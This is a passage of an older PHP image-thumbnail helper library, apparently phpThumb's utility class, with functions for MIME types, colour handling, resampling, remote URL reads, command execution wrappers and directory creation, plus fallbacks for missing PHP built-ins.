Version' => '', 'Supported EXIF Version' => '', 'Supported filetypes' => '' ); $phpinfo_array = phpthumb_functions::phpinfo_array(); foreach ($phpinfo_array as $line) { $line = trim(strip_tags($line)); foreach ($exif_info as $key => $value) { if (strpos($line, $key) === 0) { $newvalue = trim(str_replace($key, '', $line)); $exif_info[$key] = $newvalue; } } } } return $exif_info; } function ImageTypeToMIMEtype($imagetype) { if (function_exists('image_type_to_mime_type') && ($imagetype >= 1) && ($imagetype <= 16)) { // PHP v4.3.0+ return image_type_to_mime_type($imagetype); } static $image_type_to_mime_type = array( 1 => 'image/gif', // IMAGETYPE_GIF 2 => 'image/jpeg', // IMAGETYPE_JPEG 3 => 'image/png', // IMAGETYPE_PNG 4 => 'application/x-shockwave-flash', // IMAGETYPE_SWF 5 => 'image/psd', // IMAGETYPE_PSD 6 => 'image/bmp', // IMAGETYPE_BMP 7 => 'image/tiff', // IMAGETYPE_TIFF_II (intel byte order) 8 => 'image/tiff', // IMAGETYPE_TIFF_MM (motorola byte order) 9 => 'application/octet-stream', // IMAGETYPE_JPC 10 => 'image/jp2', // IMAGETYPE_JP2 11 => 'application/octet-stream', // IMAGETYPE_JPX 12 => 'application/octet-stream', // IMAGETYPE_JB2 13 => 'application/x-shockwave-flash', // IMAGETYPE_SWC 14 => 'image/iff', // IMAGETYPE_IFF 15 => 'image/vnd.wap.wbmp', // IMAGETYPE_WBMP 16 => 'image/xbm', // IMAGETYPE_XBM 'gif' => 'image/gif', // IMAGETYPE_GIF 'jpg' => 'image/jpeg', // IMAGETYPE_JPEG 'jpeg' => 'image/jpeg', // IMAGETYPE_JPEG 'png' => 'image/png', // IMAGETYPE_PNG 'bmp' => 'image/bmp', // IMAGETYPE_BMP 'ico' => 'image/x-icon', ); return (isset($image_type_to_mime_type[$imagetype]) ? $image_type_to_mime_type[$imagetype] : false); } function TranslateWHbyAngle($width, $height, $angle) { if (($angle % 180) == 0) { return array($width, $height); } $newwidth = (abs(sin(deg2rad($angle))) * $height) + (abs(cos(deg2rad($angle))) * $width); $newheight = (abs(sin(deg2rad($angle))) * $width) + (abs(cos(deg2rad($angle))) * $height); return array($newwidth, $newheight); } function HexCharDisplay($string) { $len = strlen($string); $output = ''; for ($i = 0; $i < $len; $i++) { $output .= ' 0x'.str_pad(dechex(ord($string{$i})), 2, '0', STR_PAD_LEFT); } return $output; } function IsHexColor($HexColorString) { return eregi('^[0-9A-F]{6}$', $HexColorString); } function ImageColorAllocateAlphaSafe(&$gdimg_hexcolorallocate, $R, $G, $B, $alpha=false) { if (phpthumb_functions::version_compare_replacement(phpversion(), '4.3.2', '>=') && ($alpha !== false)) { return ImageColorAllocateAlpha($gdimg_hexcolorallocate, $R, $G, $B, intval($alpha)); } else { return ImageColorAllocate($gdimg_hexcolorallocate, $R, $G, $B); } } function ImageHexColorAllocate(&$gdimg_hexcolorallocate, $HexColorString, $dieOnInvalid=false, $alpha=false) { if (!is_resource($gdimg_hexcolorallocate)) { die('$gdimg_hexcolorallocate is not a GD resource in ImageHexColorAllocate()'); } if (phpthumb_functions::IsHexColor($HexColorString)) { $R = hexdec(substr($HexColorString, 0, 2)); $G = hexdec(substr($HexColorString, 2, 2)); $B = hexdec(substr($HexColorString, 4, 2)); return phpthumb_functions::ImageColorAllocateAlphaSafe($gdimg_hexcolorallocate, $R, $G, $B, $alpha); } if ($dieOnInvalid) { die('Invalid hex color string: "'.$HexColorString.'"'); } return ImageColorAllocate($gdimg_hexcolorallocate, 0x00, 0x00, 0x00); } function HexColorXOR($hexcolor) { return strtoupper(str_pad(dechex(~hexdec($hexcolor) & 0xFFFFFF), 6, '0', STR_PAD_LEFT)); } function GetPixelColor(&$img, $x, $y) { if (!is_resource($img)) { return false; } return @ImageColorsForIndex($img, @ImageColorAt($img, $x, $y)); } function PixelColorDifferencePercent($currentPixel, $targetPixel) { $diff = 0; foreach ($targetPixel as $channel => $currentvalue) { $diff = max($diff, (max($currentPixel[$channel], $targetPixel[$channel]) - min($currentPixel[$channel], $targetPixel[$channel])) / 255); } return $diff * 100; } function GrayscaleValue($r, $g, $b) { return round(($r * 0.30) + ($g * 0.59) + ($b * 0.11)); } function GrayscalePixel($OriginalPixel) { $gray = phpthumb_functions::GrayscaleValue($OriginalPixel['red'], $OriginalPixel['green'], $OriginalPixel['blue']); return array('red'=>$gray, 'green'=>$gray, 'blue'=>$gray); } function GrayscalePixelRGB($rgb) { $r = ($rgb >> 16) & 0xFF; $g = ($rgb >> 8) & 0xFF; $b = $rgb & 0xFF; return ($r * 0.299) + ($g * 0.587) + ($b * 0.114); } function ScaleToFitInBox($width, $height, $maxwidth=null, $maxheight=null, $allow_enlarge=true, $allow_reduce=true) { $maxwidth = (is_null($maxwidth) ? $width : $maxwidth); $maxheight = (is_null($maxheight) ? $height : $maxheight); $scale_x = 1; $scale_y = 1; if (($width > $maxwidth) || ($width < $maxwidth)) { $scale_x = ($maxwidth / $width); } if (($height > $maxheight) || ($height < $maxheight)) { $scale_y = ($maxheight / $height); } $scale = min($scale_x, $scale_y); if (!$allow_enlarge) { $scale = min($scale, 1); } if (!$allow_reduce) { $scale = max($scale, 1); } return $scale; } function ImageCopyResampleBicubic($dst_img, $src_img, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h) { // ron at korving dot demon dot nl // http://www.php.net/imagecopyresampled $scaleX = ($src_w - 1) / $dst_w; $scaleY = ($src_h - 1) / $dst_h; $scaleX2 = $scaleX / 2.0; $scaleY2 = $scaleY / 2.0; $isTrueColor = ImageIsTrueColor($src_img); for ($y = $src_y; $y < $src_y + $dst_h; $y++) { $sY = $y * $scaleY; $siY = (int) $sY; $siY2 = (int) $sY + $scaleY2; for ($x = $src_x; $x < $src_x + $dst_w; $x++) { $sX = $x * $scaleX; $siX = (int) $sX; $siX2 = (int) $sX + $scaleX2; if ($isTrueColor) { $c1 = ImageColorAt($src_img, $siX, $siY2); $c2 = ImageColorAt($src_img, $siX, $siY); $c3 = ImageColorAt($src_img, $siX2, $siY2); $c4 = ImageColorAt($src_img, $siX2, $siY); $r = (( $c1 + $c2 + $c3 + $c4 ) >> 2) & 0xFF0000; $g = ((($c1 & 0x00FF00) + ($c2 & 0x00FF00) + ($c3 & 0x00FF00) + ($c4 & 0x00FF00)) >> 2) & 0x00FF00; $b = ((($c1 & 0x0000FF) + ($c2 & 0x0000FF) + ($c3 & 0x0000FF) + ($c4 & 0x0000FF)) >> 2); } else { $c1 = ImageColorsForIndex($src_img, ImageColorAt($src_img, $siX, $siY2)); $c2 = ImageColorsForIndex($src_img, ImageColorAt($src_img, $siX, $siY)); $c3 = ImageColorsForIndex($src_img, ImageColorAt($src_img, $siX2, $siY2)); $c4 = ImageColorsForIndex($src_img, ImageColorAt($src_img, $siX2, $siY)); $r = ($c1['red'] + $c2['red'] + $c3['red'] + $c4['red'] ) << 14; $g = ($c1['green'] + $c2['green'] + $c3['green'] + $c4['green']) << 6; $b = ($c1['blue'] + $c2['blue'] + $c3['blue'] + $c4['blue'] ) >> 2; } ImageSetPixel($dst_img, $dst_x + $x - $src_x, $dst_y + $y - $src_y, $r+$g+$b); } } return true; } function ImageCreateFunction($x_size, $y_size) { $ImageCreateFunction = 'ImageCreate'; if (phpthumb_functions::gd_version() >= 2.0) { $ImageCreateFunction = 'ImageCreateTrueColor'; } if (!function_exists($ImageCreateFunction)) { return phpthumb::ErrorImage($ImageCreateFunction.'() does not exist - no GD support?'); } if (($x_size <= 0) || ($y_size <= 0)) { return phpthumb::ErrorImage('Invalid image dimensions: '.$ImageCreateFunction.'('.$x_size.', '.$y_size.')'); } return $ImageCreateFunction(round($x_size), round($y_size)); } function ImageCopyRespectAlpha(&$dst_im, &$src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $opacity_pct=100) { $opacipct = $opacity_pct / 100; for ($x = $src_x; $x < $src_w; $x++) { for ($y = $src_y; $y < $src_h; $y++) { $RealPixel = phpthumb_functions::GetPixelColor($dst_im, $dst_x + $x, $dst_y + $y); $OverlayPixel = phpthumb_functions::GetPixelColor($src_im, $x, $y); $alphapct = $OverlayPixel['alpha'] / 127; $overlaypct = (1 - $alphapct) * $opacipct; $newcolor = phpthumb_functions::ImageColorAllocateAlphaSafe( $dst_im, round($RealPixel['red'] * (1 - $overlaypct)) + ($OverlayPixel['red'] * $overlaypct), round($RealPixel['green'] * (1 - $overlaypct)) + ($OverlayPixel['green'] * $overlaypct), round($RealPixel['blue'] * (1 - $overlaypct)) + ($OverlayPixel['blue'] * $overlaypct), //$RealPixel['alpha']); 0); ImageSetPixel($dst_im, $dst_x + $x, $dst_y + $y, $newcolor); } } return true; } function ProportionalResize($old_width, $old_height, $new_width=false, $new_height=false) { $old_aspect_ratio = $old_width / $old_height; if (($new_width === false) && ($new_height === false)) { return false; } elseif ($new_width === false) { $new_width = $new_height * $old_aspect_ratio; } elseif ($new_height === false) { $new_height = $new_width / $old_aspect_ratio; } $new_aspect_ratio = $new_width / $new_height; if ($new_aspect_ratio == $old_aspect_ratio) { // great, done } elseif ($new_aspect_ratio < $old_aspect_ratio) { // limited by width $new_height = $new_width / $old_aspect_ratio; } elseif ($new_aspect_ratio > $old_aspect_ratio) { // limited by height $new_width = $new_height * $old_aspect_ratio; } return array(intval(round($new_width)), intval(round($new_height))); } function FunctionIsDisabled($function) { static $DisabledFunctions = null; if (is_null($DisabledFunctions)) { $disable_functions_local = explode(',', strtolower(@ini_get('disable_functions'))); $disable_functions_global = explode(',', strtolower(@get_cfg_var('disable_functions'))); foreach ($disable_functions_local as $key => $value) { $DisabledFunctions[trim($value)] = 'local'; } foreach ($disable_functions_global as $key => $value) { $DisabledFunctions[trim($value)] = 'global'; } if (@ini_get('safe_mode')) { $DisabledFunctions['shell_exec'] = 'local'; $DisabledFunctions['set_time_limit'] = 'local'; } } return isset($DisabledFunctions[strtolower($function)]); } function SafeExec($command) { static $AllowedExecFunctions = array(); if (empty($AllowedExecFunctions)) { $AllowedExecFunctions = array('shell_exec'=>true, 'passthru'=>true, 'system'=>true, 'exec'=>true); foreach ($AllowedExecFunctions as $key => $value) { $AllowedExecFunctions[$key] = !phpthumb_functions::FunctionIsDisabled($key); } } $command .= ' 2>&1'; // force redirect stderr to stdout foreach ($AllowedExecFunctions as $execfunction => $is_allowed) { if (!$is_allowed) { continue; } $returnvalue = false; switch ($execfunction) { case 'passthru': case 'system': ob_start(); $execfunction($command); $returnvalue = ob_get_contents(); ob_end_clean(); break; case 'exec': $output = array(); $lastline = $execfunction($command, $output); $returnvalue = implode("\n", $output); break; case 'shell_exec': ob_start(); $returnvalue = $execfunction($command); ob_end_clean(); break; } return $returnvalue; } return false; } function ApacheLookupURIarray($filename) { // apache_lookup_uri() only works when PHP is installed as an Apache module. if (php_sapi_name() == 'apache') { $keys = array('status', 'the_request', 'status_line', 'method', 'content_type', 'handler', 'uri', 'filename', 'path_info', 'args', 'boundary', 'no_cache', 'no_local_copy', 'allowed', 'send_bodyct', 'bytes_sent', 'byterange', 'clength', 'unparsed_uri', 'mtime', 'request_time'); if ($apacheLookupURIobject = @apache_lookup_uri($filename)) { $apacheLookupURIarray = array(); foreach ($keys as $key) { $apacheLookupURIarray[$key] = @$apacheLookupURIobject->$key; } return $apacheLookupURIarray; } } return false; } function gd_is_bundled() { static $isbundled = null; if (is_null($isbundled)) { $gd_info = gd_info(); $isbundled = (strpos($gd_info['GD Version'], 'bundled') !== false); } return $isbundled; } function gd_version($fullstring=false) { static $cache_gd_version = array(); if (empty($cache_gd_version)) { $gd_info = gd_info(); if (eregi('bundled \((.+)\)$', $gd_info['GD Version'], $matches)) { $cache_gd_version[1] = $gd_info['GD Version']; // e.g. "bundled (2.0.15 compatible)" $cache_gd_version[0] = (float) $matches[1]; // e.g. "2.0" (not "bundled (2.0.15 compatible)") } else { $cache_gd_version[1] = $gd_info['GD Version']; // e.g. "1.6.2 or higher" $cache_gd_version[0] = (float) substr($gd_info['GD Version'], 0, 3); // e.g. "1.6" (not "1.6.2 or higher") } } return $cache_gd_version[intval($fullstring)]; } function filesize_remote($remotefile, $timeout=10) { $size = false; $url = phpthumb_functions::ParseURLbetter($remotefile); if ($fp = @fsockopen($url['host'], ($url['port'] ? $url['port'] : 80), $errno, $errstr, $timeout)) { fwrite($fp, 'HEAD '.@$url['path'].@$url['query'].' HTTP/1.0'."\r\n".'Host: '.@$url['host']."\r\n\r\n"); if (phpthumb_functions::version_compare_replacement(phpversion(), '4.3.0', '>=')) { stream_set_timeout($fp, $timeout); } while (!feof($fp)) { $headerline = fgets($fp, 4096); if (eregi('^Content-Length: (.*)', $headerline, $matches)) { $size = intval($matches[1]); break; } } fclose ($fp); } return $size; } function filedate_remote($remotefile, $timeout=10) { $date = false; $url = phpthumb_functions::ParseURLbetter($remotefile); if ($fp = @fsockopen($url['host'], ($url['port'] ? $url['port'] : 80), $errno, $errstr, $timeout)) { fwrite($fp, 'HEAD '.@$url['path'].@$url['query'].' HTTP/1.0'."\r\n".'Host: '.@$url['host']."\r\n\r\n"); if (phpthumb_functions::version_compare_replacement(phpversion(), '4.3.0', '>=')) { stream_set_timeout($fp, $timeout); } while (!feof($fp)) { $headerline = fgets($fp, 4096); if (eregi('^Last-Modified: (.*)', $headerline, $matches)) { $date = strtotime($matches[1]) - date('Z'); break; } } fclose ($fp); } return $date; } function md5_file_safe($filename) { // md5_file() doesn't exist in PHP < 4.2.0 if (function_exists('md5_file')) { return md5_file($filename); } if ($fp = @fopen($filename, 'rb')) { $rawData = ''; do { $buffer = fread($fp, 8192); $rawData .= $buffer; } while (strlen($buffer) > 0); fclose($fp); return md5($rawData); } return false; } function nonempty_min() { $arg_list = func_get_args(); $acceptable = array(); foreach ($arg_list as $arg) { if ($arg) { $acceptable[] = $arg; } } return min($acceptable); } function LittleEndian2String($number, $minbytes=1) { $intstring = ''; while ($number > 0) { $intstring = $intstring.chr($number & 255); $number >>= 8; } return str_pad($intstring, $minbytes, "\x00", STR_PAD_RIGHT); } function OneOfThese() { // return the first useful (non-empty/non-zero/non-false) value from those passed $arg_list = func_get_args(); foreach ($arg_list as $key => $value) { if ($value) { return $value; } } return false; } function CaseInsensitiveInArray($needle, $haystack) { $needle = strtolower($needle); foreach ($haystack as $key => $value) { if (is_array($value)) { // skip? } elseif ($needle == strtolower($value)) { return true; } } return false; } function URLreadFsock($host, $file, &$errstr, $successonly=true, $port=80, $timeout=10) { if (!function_exists('fsockopen') || phpthumb_functions::FunctionIsDisabled('fsockopen')) { $errstr = 'fsockopen() unavailable'; return false; } if ($fp = @fsockopen($host, 80, $errno, $errstr, $timeout)) { $out = 'GET '.$file.' HTTP/1.0'."\r\n"; $out .= 'Host: '.$host."\r\n"; $out .= 'Connection: Close'."\r\n\r\n"; fwrite($fp, $out); $isHeader = true; $Data_header = ''; $Data_body = ''; $header_newlocation = ''; while (!feof($fp)) { $line = fgets($fp, 1024); if ($isHeader) { $Data_header .= $line; } else { $Data_body .= $line; } if (eregi('^HTTP/[\\.0-9]+ ([0-9]+) (.+)$', rtrim($line), $matches)) { list($dummy, $errno, $errstr) = $matches; $errno = intval($errno); } elseif (eregi('^Location: (.*)$', rtrim($line), $matches)) { $header_newlocation = $matches[1]; } if ($isHeader && ($line == "\r\n")) { $isHeader = false; if ($successonly) { switch ($errno) { case 200: // great, continue break; default: $errstr = $errno.' '.$errstr.($header_newlocation ? '; Location: '.$header_newlocation : ''); fclose($fp); return false; break; } } } } fclose($fp); return $Data_body; } return null; } function CleanUpURLencoding($url, $queryseperator='&') { if (!eregi('^http', $url)) { return $url; } $parse_url = phpthumb_functions::ParseURLbetter($url); $pathelements = explode('/', $parse_url['path']); $CleanPathElements = array(); $TranslationMatrix = array(' '=>'%20'); foreach ($pathelements as $key => $pathelement) { $CleanPathElements[] = strtr($pathelement, $TranslationMatrix); } foreach ($CleanPathElements as $key => $value) { if ($value === '') { unset($CleanPathElements[$key]); } } $queries = explode($queryseperator, @$parse_url['query']); $CleanQueries = array(); foreach ($queries as $key => $query) { @list($param, $value) = explode('=', $query); $CleanQueries[] = strtr($param, $TranslationMatrix).($value ? '='.strtr($value, $TranslationMatrix) : ''); } foreach ($CleanQueries as $key => $value) { if ($value === '') { unset($CleanQueries[$key]); } } $cleaned_url = $parse_url['scheme'].'://'; $cleaned_url .= (@$parse_url['username'] ? $parse_url['host'].(@$parse_url['password'] ? ':'.$parse_url['password'] : '').'@' : ''); $cleaned_url .= $parse_url['host']; $cleaned_url .= '/'.implode('/', $CleanPathElements); $cleaned_url .= (@$CleanQueries ? '?'.implode($queryseperator, $CleanQueries) : ''); return $cleaned_url; } function ParseURLbetter($url) { $parsedURL = @parse_url($url); if (!@$parsedURL['port']) { switch (strtolower(@$parsedURL['scheme'])) { case 'ftp': $parsedURL['port'] = 21; break; case 'https': $parsedURL['port'] = 443; break; case 'http': $parsedURL['port'] = 80; break; } } return $parsedURL; } function SafeURLread($url, &$error, $timeout=10, $followredirects=true) { $error = ''; $parsed_url = phpthumb_functions::ParseURLbetter($url); $alreadyLookedAtURLs[trim($url)] = true; while (true) { $tryagain = false; $rawData = phpthumb_functions::URLreadFsock(@$parsed_url['host'], @$parsed_url['path'].'?'.@$parsed_url['query'], $errstr, true, (@$parsed_url['port'] ? @$parsed_url['port'] : 80), $timeout); if (eregi('302 [a-z ]+; Location\\: (http.*)', $errstr, $matches)) { $matches[1] = trim(@$matches[1]); if (!@$alreadyLookedAtURLs[$matches[1]]) { // loop through and examine new URL $error .= 'URL "'.$url.'" redirected to "'.$matches[1].'"'; $tryagain = true; $alreadyLookedAtURLs[$matches[1]] = true; $parsed_url = phpthumb_functions::ParseURLbetter($matches[1]); } } if (!$tryagain) { break; } } if ($rawData === false) { $error .= 'Error opening "'.$url.'":'."\n\n".$errstr; return false; } elseif ($rawData === null) { // fall through $error .= 'Error opening "'.$url.'":'."\n\n".$errstr; } else { return $rawData; } if (function_exists('curl_version') && !phpthumb_functions::FunctionIsDisabled('curl_exec')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); $rawData = curl_exec($ch); curl_close($ch); if (strlen($rawData) > 0) { $error .= 'CURL succeeded ('.strlen($rawData).' bytes); '; return $rawData; } $error .= 'CURL available but returned no data; '; } else { $error .= 'CURL unavailable; '; } $BrokenURLfopenPHPversions = array('4.4.2'); if (in_array(phpversion(), $BrokenURLfopenPHPversions)) { $error .= 'fopen(URL) broken in PHP v'.phpversion().'; '; } elseif (@ini_get('allow_url_fopen')) { $rawData = ''; $error_fopen = ''; ob_start(); if ($fp = fopen($url, 'rb')) { do { $buffer = fread($fp, 8192); $rawData .= $buffer; } while (strlen($buffer) > 0); fclose($fp); } else { $error_fopen .= trim(strip_tags(ob_get_contents())); } ob_end_clean(); $error .= $error_fopen; if (!$error_fopen) { $error .= '; "allow_url_fopen" succeeded ('.strlen($rawData).' bytes); '; return $rawData; } $error .= '; "allow_url_fopen" enabled but returned no data ('.$error_fopen.'); '; } else { $error .= '"allow_url_fopen" disabled; '; } return false; } function EnsureDirectoryExists($dirname) { $directory_elements = explode(DIRECTORY_SEPARATOR, $dirname); $startoffset = (!$directory_elements[0] ? 2 : 1); // unix with leading "/" then start with 2nd element; Windows with leading "c:\" then start with 1st element $open_basedirs = split('[;:]', ini_get('open_basedir')); foreach ($open_basedirs as $key => $open_basedir) { if (ereg('^'.preg_quote($open_basedir), $dirname) && (strlen($dirname) > strlen($open_basedir))) { $startoffset = count(explode(DIRECTORY_SEPARATOR, $open_basedir)); break; } } $i = $startoffset; $endoffset = count($directory_elements); for ($i = $startoffset; $i <= $endoffset; $i++) { $test_directory = implode(DIRECTORY_SEPARATOR, array_slice($directory_elements, 0, $i)); if (!$test_directory) { continue; } if (!@is_dir($test_directory)) { if (@file_exists($test_directory)) { // directory name already exists as a file return false; } @mkdir($test_directory, 0755); @chmod($test_directory, 0755); if (!@is_dir($test_directory) || !@is_writeable($test_directory)) { return false; } } } return true; } function GetAllFilesInSubfolders($dirname) { $AllFiles = array(); $dirname = rtrim(realpath($dirname), '/\\'); if ($dirhandle = @opendir($dirname)) { while (($file = readdir($dirhandle)) !== false) { $fullfilename = $dirname.DIRECTORY_SEPARATOR.$file; if (is_file($fullfilename)) { $AllFiles[] = $fullfilename; } elseif (is_dir($fullfilename)) { switch ($file) { case '.': case '..': break; default: $AllFiles[] = $fullfilename; $subfiles = phpthumb_functions::GetAllFilesInSubfolders($fullfilename); foreach ($subfiles as $filename) { $AllFiles[] = $filename; } break; } } else { // ignore? } } closedir($dirhandle); } sort($AllFiles); return array_unique($AllFiles); } function SanitizeFilename($filename) { $filename = ereg_replace('[^'.preg_quote(' !#$%^()+,-.;<>=@[]_{}').'a-zA-Z0-9]', '_', $filename); if (phpthumb_functions::version_compare_replacement(phpversion(), '4.1.0', '>=')) { $filename = trim($filename, '.'); } return $filename; } } ////////////// END: class phpthumb_functions ////////////// if (!function_exists('gd_info')) { // built into PHP v4.3.0+ (with bundled GD2 library) function gd_info() { static $gd_info = array(); if (empty($gd_info)) { // based on code by johnschaefer at gmx dot de // from PHP help on gd_info() $gd_info = array( 'GD Version' => '', 'FreeType Support' => false, 'FreeType Linkage' => '', 'T1Lib Support' => false, 'GIF Read Support' => false, 'GIF Create Support' => false, 'JPG Support' => false, 'PNG Support' => false, 'WBMP Support' => false, 'XBM Support' => false ); $phpinfo_array = phpthumb_functions::phpinfo_array(); foreach ($phpinfo_array as $line) { $line = trim(strip_tags($line)); foreach ($gd_info as $key => $value) { //if (strpos($line, $key) !== false) { if (strpos($line, $key) === 0) { $newvalue = trim(str_replace($key, '', $line)); $gd_info[$key] = $newvalue; } } } if (empty($gd_info['GD Version'])) { // probable cause: "phpinfo() disabled for security reasons" if (function_exists('ImageTypes')) { $imagetypes = ImageTypes(); if ($imagetypes & IMG_PNG) { $gd_info['PNG Support'] = true; } if ($imagetypes & IMG_GIF) { $gd_info['GIF Create Support'] = true; } if ($imagetypes & IMG_JPG) { $gd_info['JPG Support'] = true; } if ($imagetypes & IMG_WBMP) { $gd_info['WBMP Support'] = true; } } // to determine capability of GIF creation, try to use ImageCreateFromGIF on a 1px GIF if (function_exists('ImageCreateFromGIF')) { if ($tempfilename = phpthumb::phpThumb_tempnam()) { if ($fp_tempfile = @fopen($tempfilename, 'wb')) { fwrite($fp_tempfile, base64_decode('R0lGODlhAQABAIAAAH//AP///ywAAAAAAQABAAACAUQAOw==')); // very simple 1px GIF file base64-encoded as string fclose($fp_tempfile); // if we can convert the GIF file to a GD image then GIF create support must be enabled, otherwise it's not $gd_info['GIF Read Support'] = (bool) @ImageCreateFromGIF($tempfilename); } unlink($tempfilename); } } if (function_exists('ImageCreateTrueColor') && @ImageCreateTrueColor(1, 1)) { $gd_info['GD Version'] = '2.0.1 or higher (assumed)'; } elseif (function_exists('ImageCreate') && @ImageCreate(1, 1)) { $gd_info['GD Version'] = '1.6.0 or higher (assumed)'; } } } return $gd_info; } } if (!function_exists('is_executable')) { // in PHP v3+, but v5.0+ for Windows function is_executable($filename) { // poor substitute, but better than nothing return file_exists($filename); } } if (!function_exists('preg_quote')) { // included in PHP v3.0.9+, but may be unavailable if not compiled in function preg_quote($string, $delimiter='\\') { static $preg_quote_array = array(); if (empty($preg_quote_array)) { $escapeables = '.\\+*?[^]$(){}=!<>|:'; for ($i = 0; $i < strlen($escapeables); $i++) { $strtr_preg_quote[$escapeables{$i}] = $delimiter.$escapeables{$i}; } } return strtr($string, $strtr_preg_quote); } } if (!function_exists('file_get_contents')) { // included in PHP v4.3.0+ function file_get_contents($filename) { if (eregi('^(f|ht)tp\://', $filename)) { return SafeURLread($filename, $error); } if ($fp = @fopen($filename, 'rb')) { $rawData = ''; do { $buffer = fread($fp, 8192); $rawData .= $buffer; } while (strlen($buffer) > 0); fclose($fp); return $rawData; } return false; } } if (!function_exists('file_put_contents')) { // included in PHP v5.0.0+ function file_put_contents($filename, $filedata) { if ($fp = @fopen($filename, 'wb')) { fwrite($fp, $filedata); fclose($fp); return true; } return false; } } if (!function_exists('imagealphablending')) { // built-in function requires PHP v4.0.6+ *and* GD v2.0.1+ function imagealphablending(&$img, $blendmode=true) { // do nothing, this function is declared here just to // prevent runtime errors if GD2 is not available return true; } } if (!function_exists('imagesavealpha')) { // built-in function requires PHP v4.3.2+ *and* GD v2.0.1+ function imagesavealpha(&$img, $blendmode=true) { // do nothing, this function is declared here just to // prevent runtime errors if GD2 is not available return true; } } ?>